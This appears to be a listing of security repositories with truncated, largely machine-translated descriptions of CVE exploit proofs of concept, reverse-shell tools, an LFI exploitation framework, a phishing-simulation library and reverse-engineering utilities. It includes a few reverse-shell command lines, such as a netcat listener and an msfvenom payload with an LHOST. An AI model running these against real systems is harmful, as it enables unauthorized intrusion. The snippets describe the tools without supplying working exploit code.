Mimic

Mimic Navigateur-dans-le-navigateur sans iframes BitB - Pas d'iframes, pas de problèmes de frame-busting. Une bibliothèque Shadow DOM / MutationObserver à script unique pour des simulations de phishing réalistes, facilement injectable via un proxy inverse. ⚠️ Avertissement : N'utilisez ce logiciel...

CVE-2025-56383

الثغرة نوع الهجوم: DLL Hijacking اختطاف DLL التطبيق المستهدف: Notepad++ الطريقة: ملف NppExport.dll يتم تحميله بواسطة Notepad++ من دليل العمل التنفيذ تحتوي DLL الخبيثة على: وظائف التصدير للمكتبة الأصلية لضمان التوافق Reverse shell، يتصل بالمضيف المهاجم تنفيذ في خيط منفصل لمنع حظر التحميل...

CVE-2021-44967

CVE-2021-44967: LimeSurvey प्रमाणित RCE CVE-2021-44967 के लिए प्रूफ ऑफ कॉन्सेप्ट। स्क्रिप्ट LimeSurvey में प्रमाणित करती है, एक PHP प्लगइन अपलोड और सक्रिय करती है, और एक रिवर्स शेल ट्रिगर करती है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आप अधिक...

paint2die

सबसे सरल और सबसे विश्वसनीय RichFaces Paint2DResource CVE-2018-12533 RF-14310 शोषण स्थापना • उपयोग • Paint2Die चलाना स्थापना निर्देश git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt उपयोग ./paint2die -h यह टूल के लिए सहायता...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki Unauthenticated RCE Exploit Affected XWiki Versions Versions 15.10.11 Versions 16.4.1 Versions 16.5.0RC1 Vulnerability Description Affected XWiki versions contain a Remote Code Execution vulnerability caused by unsafe Groovy expression handling in the SolrSearch macro...

ctxdebug

MCP servers for WinDbg, IDA Pro, and x64dbg One stdio interface · 160+ tools · Three debuggers, one client. Quick Start · Architecture · Servers · Workflows · Report an Issue Website · ctxdebug.xyz · Contact · [email protected] · Status · Public alpha For authorized reverse engineering, cras...

ida_kcpp

idakcpp An IDAPython module for way more convienent way to Reverse Engineering iOS kernelcaches. Big part of the iOS kernelcache is written by C++, which compiled into complicated binary code use many virtual table derefences rather than explicit direct calls.idakcpp takes the advanteage of...

openhaystack

OpenHaystack OpenHaystack is a framework for tracking personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking tags that you can append to physical objects keyrings, backpacks, ... or integrate it into other Bluetooth-capable devices such as notebooks...

CVE-2025-25257

CVE-2025-25257 الاستغلالات Exploits لـ CVE-2025-25257 التي أصدرتها watchtowr وآخرون وجدتها على github لم تعمل على تثبيتاتي لـ fortiweb التي تم تنزيلها من موقع البائع الرسمي. قمت باقتباس بعض من رموز هذه الاستغلالات لصنع PoC قادر على فتح شل عكسية reverse shell في بيئتي. عنوان IP ومنفذ الشل العكسية...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit XWiki SolrSearch के लिए बिना प्रमाणीकरण के RCE PoC CVE-2025-24893. कमांड निष्पादन + रिवर्स शेल। CVE-2025-24893 – XWiki SolrSearch RCE PoC XWiki SolrSearch टेम्पलेट इंजेक्शन के लिए प्रूफ-ऑफ-कॉन्सेप्ट जो बिना प्रमाणीकरण के रिमोट कोड निष्पादन की ओर ले जाता है। XWiki Debian...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell غلاف عكسي لـ CVE-2024-28397. يعمل الاستغلال مع js2py = v0.74 المتطلبات مكتبة requests pip install requests Python3 Netcat أو أي أداة يمكنك استخدامها كمستمع للغلاف العكسي الاستخدام للمستمع nc -lnvp 4444 للاستغلال python3 exploit.py 10.129.66.160 8000 /runcode --localip...

ablation

Ablation هو إطار عمل للهندسة العكسية يوفر نفس قدرات التفكيك وإعادة الترجمة وتحليل الملفات الثنائية الأساسية تمامًا كما تفعل الأدوات المعيارية في المجال مثل Ghidra وIDA Pro وBinary Ninja. وعند دمجه مع Claude Code أو OpenAI Codex، يتحول إلى أداة هندسة عكسية مستقلة بالكامل. القدرات البحث الدلالي عبر...

LFI-Destruction

🔥 LFI-Destruction – Authorized Penetration Testing Framework LFI-Destroyer is a comprehensive, modular Local File Inclusion LFI exploitation framework designed for authorized security professionals. It combines multiple attack techniques into a single, easy‑to‑use tool: SSH & Browser Artifact...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 पर रिमोट कोड निष्पादन कभी-कभी, स्क्रिप्ट पहले प्रयास में काम नहीं करतीं। इसे काम करने के लिए कुछ बार प्रयास करें। निष्पादन कैसे करें msfvenom के साथ पेलोड बनाएँ msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java server.py प्रारंभ करना यह सर्व...

CVE-2025-14700-poc

CVE-2025-14700 إثبات المفهوم استغلال تلقائي لـ RCE المُصادَق عليه في Crafty Controller --login --password --lhost --lport يستخدم هذا السكريبت netcat لإعداد مستمع بعد تشغيل حمولة الصدفة العكسية، ولن يعمل إذا لم يكن لديك netcat على جهاز المستمع...

CVE-2025-5548

مختبر أبحاث واستغلال تلف الذاكرة CVE-2025-5548 تحليل متقدم للثغرات الأمنية على بيئة Windows 11 النسخة الإنجليزية نظرة عامة على المشروع يوثّق هذا المستودع مشروعًا بحثيًا في مجال الأمن السيبراني بمستوى احترافي، مركّزًا على CVE-2025-5548 : ثغرة تجاوز سعة المخزن المؤقت القائم على المكدس Stack-based...

CVE-2021-44228-PoC

लॉग4शेल CVE-2021-44228 के साथ रिवर्स-शेल चलाने वाला स्व-निहित प्रयोगशाला वातावरण PoC यह एक स्व-निहित प्रयोगशाला वातावरण है जो डॉकर कंपोज़ से सुरक्षित रूप से एक्सप्लॉइट चलाता है। प्रभावित संस्करण Apache Log4j =2.0–2.14.1 हैं और CVE को CVE-2021-44228 CVSS स्कोर: 10.0 के रूप में ट्रैक किया गया है।...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 एक्सप्लॉइट स्क्रिप्ट 🔥 परिचय इस रिपॉजिटरी में React2Shell कमजोरी CVE-2025–55182 के लिए एक एक्सप्लॉइट स्क्रिप्ट है, जो एक विशेष प्रकार के Node.js प्रोटोटाइप प्रदूषण को लक्षित करती है, जो रिमोट कोड एक्जीक्यूशन RCE की ओर ले जाता है। स्क्रिप्ट विशेष रूप से कमजोर एप्लिके...

CVE-2023-30258-magnus-billing-v7-exploit

استغلال Magnus Billing System v7 تقوم هذه الأداة النصية بلغة بايثون بأتمتة استغلال ثغرة حقن الأوامر في نظام Magnus Billing الإصدار 7، وتحديداً في ملف icepay.php الموجود في المسار /mbilling/lib/icepay/icepay.php. يستغل الاستغلال المعامل democ لتنفيذ أوامر عشوائية على النظام المستهدف، مما يؤدي في...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-Proof-of-concept ثغرة رفع ملفات كبيرة غير مصادق عليها في Chamilo LMS تسمح بتنفيذ الأوامر عن بُعد الكود مُعدّ ومُستخدم من أجل HACKTHEBOX CTF PERMX رفع ملفات غير مصادق عليه في وظيفة رفع الملفات الكبيرة في /main/inc/lib/javascript/bigupload/inc/bigUpload.php في Chamilo LMS كود شيل PHP...